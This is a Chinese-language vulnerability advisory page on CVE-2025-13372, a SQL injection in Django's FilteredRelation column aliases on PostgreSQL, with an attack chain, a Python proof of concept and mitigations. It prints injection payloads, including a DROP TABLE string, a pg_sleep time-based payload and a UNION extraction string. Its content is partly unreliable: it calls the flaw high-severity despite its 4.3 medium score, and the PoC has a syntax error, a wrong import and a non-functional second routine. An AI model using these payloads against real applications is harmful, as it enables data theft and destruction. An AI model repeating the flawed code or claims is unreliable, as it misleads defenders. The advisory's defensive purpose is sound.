IPBUF安全漏洞报告
English
CVE-2025-13372 CVSS 4.3 中危

CVE-2025-13372 Django FilteredRelation SQL注入漏洞

披露日期: 2025-12-02
来源: 6a34fbeb-21d4-45e7-8e0a-62b95bc12c92

漏洞信息

漏洞编号
CVE-2025-13372
漏洞类型
SQL注入
CVSS评分
4.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
Django (PostgreSQL)

相关标签

SQL注入DjangoFilteredRelationPostgreSQLCVE-2025-13372Web安全ORM注入中危漏洞Python数据库安全

漏洞概述

CVE-2025-13372是Django框架中的一个高危SQL注入漏洞,影响Django 5.2之前5.2.9版本、5.1之前5.1.15版本以及4.2之前4.2.27版本。该漏洞存在于Django的FilteredRelation功能中,当使用PostgreSQL作为数据库后端时,通过QuerySet.annotate()或QuerySet.alias()方法传递精心构造的字典作为**kwargs参数时,可导致列别名发生SQL注入攻击。攻击者无需认证即可利用此漏洞,但需要诱导用户交互(如点击恶意链接或访问特制页面)来触发注入代码执行。该漏洞主要影响使用Django ORM进行复杂查询且依赖FilteredRelation功能的Web应用程序。攻击成功可能导致敏感数据库信息泄露,包括用户数据、配置信息或其他机密内容。Django官方已于2025年12月2日发布安全更新修复此漏洞,并建议所有用户立即升级到最新版本。早期不支持的Django系列(如5.0.x、4.1.x、3.2.x)虽然未被正式评估,但可能同样存在风险。

技术细节

该SQL注入漏洞源于Django ORM在处理FilteredRelation的列别名时对用户输入的不当验证。在Django的QuerySet.annotate()和QuerySet.alias()方法中,当开发者传递字典作为**kwargs参数时,这些键值会被直接用于生成SQL列别名。在PostgreSQL数据库后端下,Django未对字典键进行充分的输入过滤和转义处理,导致攻击者可以通过构造包含SQL特殊字符和注入语句的键名来实现SQL注入。具体攻击场景中,攻击者需要创建一个精心设计的字典,其键包含SQL片段如"test\"; DROP TABLE users;--",当Django将此键作为列别名插入SQL查询时,未经转义的特殊字符会破坏SQL语法结构并执行攻击者注入的恶意SQL代码。由于Django的ORM通常期望接收安全的Python对象而非直接SQL片段,这种注入发生在查询构建阶段而非直接字符串拼接,因此绕过了常见的参数化查询保护。漏洞利用的关键在于PostgreSQL对列别名的特殊处理方式,允许使用某些在MySQL等数据库中被禁止的字符组合。攻击者利用此漏洞可实现数据读取、修改或删除,具体取决于应用程序的数据库权限配置。

攻击链分析

STEP 1
步骤1: 侦察和信息收集
攻击者识别目标Web应用程序使用的Django版本和数据库后端类型,确认使用的是PostgreSQL且Django版本在受影响范围内(5.2<5.2.9, 5.1<5.1.15, 4.2<4.2.27)
STEP 2
步骤2: 寻找注入点
攻击者寻找使用QuerySet.annotate()或QuerySet.alias()方法且传递用户可控字典作为**kwargs参数的代码路径,通常在动态报告生成、过滤查询或聚合功能中发现
STEP 3
步骤3: 构造恶意Payload
攻击者构造包含SQL特殊字符和注入代码的字典键,如'status\"; DROP TABLE users;--'或利用时间盲注的'col\"; SELECT pg_sleep(5);--',利用PostgreSQL对列别名的特殊处理绕过过滤
STEP 4
步骤4: 诱导用户交互
由于CVSS向量包含UI:R(需要用户交互),攻击者通过钓鱼邮件、恶意链接或XSS等方式诱导具有相关功能的用户触发特制请求
STEP 5
步骤5: 执行注入攻击
当用户访问或使用攻击者设计的页面/功能时,Django ORM将恶意键名直接拼接入SQL的列别名位置,未经过滤的SQL代码被执行
STEP 6
步骤6: 数据窃取或破坏
根据注入的SQL代码,攻击者可能读取敏感数据(通过UNION查询或错误信息)、执行管理操作(DROP TABLE等)或进行持久化控制

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-13372 Django FilteredRelation SQL Injection PoC # Target: Django <= 5.2.8, <= 5.1.14, <= 4.2.26 with PostgreSQL backend import os import django from django.conf import settings # Configure Django settings if not settings.configured: settings.configure( DEBUG=True, DATABASES={ 'default': { 'ENGINE': 'django.db.backends.postgresql', 'NAME': 'test_db', 'USER': 'db_user', 'PASSWORD': 'db_pass', 'HOST': 'localhost', 'PORT': '5432', } }, INSTALLED_APPS=[ 'django.contrib.contenttypes', 'django.contrib.auth', ], USE_TZ=True, ) django.setup() from django.contrib.auth.models import User from django.db.models import Count, Q from django.db.models.expressions importFilteredRelation def exploit_sql_injection(): """ Demonstrate SQL injection via FilteredRelation column aliases This PoC shows how malicious dictionary keys can inject SQL """ # Malicious key designed to inject SQL in column alias # The backslash and quotes can break out of the alias context malicious_key = 'status"; SELECT pg_sleep(5);--' # Normal usage would be: # User.objects.annotate(active_count=Count('id')).values('active_count') # Vulnerable code - passing dict with malicious keys as **kwargs try: # This will generate SQL like: # SELECT "status\"; SELECT pg_sleep(5);--" ... # which can cause SQL injection result = User.objects.annotate(**{malicious_key: Count('id')}) # Try to trigger query execution list(result) except Exception as e: print(f"Error occurred: {e}") print("SQL injection may have been attempted") def safer_exploit_example(): """ More realistic exploitation scenario Extract data using UNION-based injection in alias """ # Simulated attack payload for information disclosure info_disclosure_payload = 'col UNION SELECT secret FROM django_site--' # In vulnerable versions, this could be used to: # 1. Extract sensitive data via error-based or blind injection # 2. Execute time-based queries for blind injection # 3. Potentially modify data if combined with other vulnerabilities print(f"Payload: {info_disclosure_payload}") print("In vulnerable Django versions, this could lead to:") print("1. Unauthorized data access") print("2. Database information disclosure") print("3. Potential data manipulation") if __name__ == '__main__': print("CVE-2025-13372 Django SQL Injection PoC") print("=" * 50) exploit_sql_injection() safer_exploit_example()

影响范围

Django 5.2 < 5.2.9
Django 5.1 < 5.1.15
Django 4.2 < 4.2.27
Django 5.0.x (可能受影响,未被官方评估)
Django 4.1.x (可能受影响,未被官方评估)
Django 3.2.x (可能受影响,未被官方评估)

防御指南

临时缓解措施
如果无法立即升级Django版本,可采取以下临时缓解措施:1)避免将用户输入直接作为字典键传递给QuerySet.annotate()或QuerySet.alias()方法,所有键名应使用预定义的、经过验证的字符串;2)实施严格的输入验证,确保传递给ORM方法的任何参数都不包含SQL特殊字符如引号、分号、注释符等;3)限制数据库连接权限,确保Web应用账户无法执行DROP TABLE等高危操作;4)启用数据库审计日志,监控异常查询行为;5)考虑临时切换到非PostgreSQL数据库后端(如MySQL),因为该漏洞特定于PostgreSQL;6)部署Web应用防火墙规则拦截包含可疑SQL片段的请求。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表